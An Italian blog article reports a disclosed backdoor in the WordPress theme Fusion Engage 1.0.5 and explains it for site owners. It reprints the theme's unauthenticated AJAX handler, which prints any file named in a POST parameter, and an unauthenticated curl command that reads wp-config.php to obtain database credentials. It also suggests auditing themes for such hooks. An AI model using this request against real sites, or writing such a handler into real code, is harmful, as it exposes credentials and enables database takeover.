Come creare una backdoor PHP su WordPress per mostrare in chiaro il contenuto wp-config.php Secondo un messaggio diffuso su seclist la tecnica sfruttata è tanto semplice quanto efficace

<span class="entry-title-primary">Come creare una backdoor PHP su WordPress per mostrare in chiaro il contenuto wp-config.php</span> <span class="entry-subtitle">Secondo un messaggio diffuso su seclist la tecnica sfruttata è tanto semplice quanto efficace</span>

In molti casi ho scritto che è bene non fidarsi dei theme e dei plugin a pagamento per WordPress: non potendo divulgarne il codice per ovvie ragioni il loro funzionamento resta una conoscenza per pochi, e questo crea potenziali falle informatiche di cui potremmo saperne poco o nulla. Del resto la filosofia dei disclosure “ragionati”, cioè pubblicare le falle solo dopo che sono state notificate e protette, non sempre può e viene effettivamente essere applicata: quella riportata qui si segnala per la particolare raffinatezza, in un certo senso.

Secondo TheWackolian, il ricercatore che ha scoperto il problema e notificato (a suo dire) inutilmente la cosa all’autore di Fusion Engage 1.0.5, il theme premium presenterebbe – il condizionale è d’0bbligo – una backdoor (cioè un “ingresso secondario” nascosto) che consente la visualizzazione del file wp-config.php da parte di un intruso non autorizzato.

In altri termini, se un sito in WordPress adotta tale theme (o qualsiasi altro che adotti la stessa tecnica subdola) può essere attaccato dall’esterno mediante una semplice CURL.

Riporto la cosa come approfondimento di sicurezza informatica e non tanto per l’emergenza in sè, che comunque interessa chi si occupa di sicurezza di siti in WordPress che dovrebbe fare attenzione alle action ed agli hook attivi nello stesso.

Leggi anche: settaggi avanzati del wp-config.php

Di norma non è possibile, in PHP, per un utente non loggato visualizzare il contenuto del codice di un qualsiasi file: motivo per cui le credenziali al database del sito sono memorizzate in chiaro nel wp-config come standard. Questo limite viene aggirato facilmente da questa semplice, ed altrettanto potente, tecnica: iIl theme in questione presenta infatti una action su un handler asincrono di questo tipo:

function fe_get_sv_html(){
global $wpdb, $video_db, $ann_db;

print(file_get_contents($_POST['video']));

wp_die();
}
add_action('wp_ajax_nopriv_fe_get_sv_html', 'fe_get_sv_html');
add_action('wp_ajax_fe_get_sv_html','fe_get_sv_html');

Basta quindi, semplicemente, richiedere la stampa dei contenuti del parametro POST dal nome ‘video’. L’attacco avviene quindi mediante una CURL non autenticata:

curl --data "action=fe_get_sv_html&amp;video=../wp-config.php" "http://sitowp.est/wp-admin/admin-ajax.php";

che serve in pratica all’attaccante mostrare il contenuto di qualsiasi file PHP a sua scelta.

Nello specifico, possono essere mostrati username, password, nome del database e host di connessione, ovvero l’intruso può accedere al database, cancellarlo e modificarlo.

Si noti come il parametro –data serva a passare dei dati via POST, per l’appunto. La tecnica è notevole per la sua semplicità ed efficacia, e quel che è ancora più importante è che potrebbe essere subdolamente presente anche su altri theme (soprattutto, per quanto detto prima, quelli closed source): bisognerebbe verificarli a mano per essere sicuri di non permettere un’azione del genere, che è “lecita” a mio avviso sulla maggioranza degli hosting. Plugin come Hook Sniffer di Marco Babini, almeno in teoria, dovrebbero essere utili allo scopo, così come ricercare nei file del theme stringhe / regex tipo:

add_action( 'wp_ajax_

e verificare se non si tratti di operazioni di backdoor come quella illustrata.

Non sono attualmente note patch correttive del problema ed è improbabile che, se il proprietario se ne disinteressa come pare, che ne possano arrivare: l’unica sarebbe pubblicare il codice corretto ma questo violerebbe le condizioni d’uso del codice commerciale, che non può essere divulgato senza violare il copyright. Rimane quindi il dubbio sulla vicenda, e nel frattempo è bene che non si usi questo theme per precauzione. I siti in WordPress che lo usano, quantomeno, non sono moltissimi, e anche cercando su Google non escono fuori molti risultati con siti potenzialmente fallati dal theme. La tecnica utilizzata secondo me è notevole e merita approfondimenti da parte di tutti i webmaster di siti in WordPress.

 

Ti piace questo articolo?

0 voti

Su Trovalost.it puntiamo sulla qualità dei contenuti da quando siamo nati: la tua sincera valutazione può aiutarci a migliorare ogni giorno.

Ti potrebbero interessare (Sicurezza informatica):

Cerca altro nel sito

Clicca sul box, e scegli la sezione per vederne i contenuti.

Come creare una backdoor PHP su WordPress per mostrare in chiaro il contenuto wp-config.php

In molti casi ho scritto che è bene non fidarsi …
[ 0 ] 0 utenti hanno votato questa pagina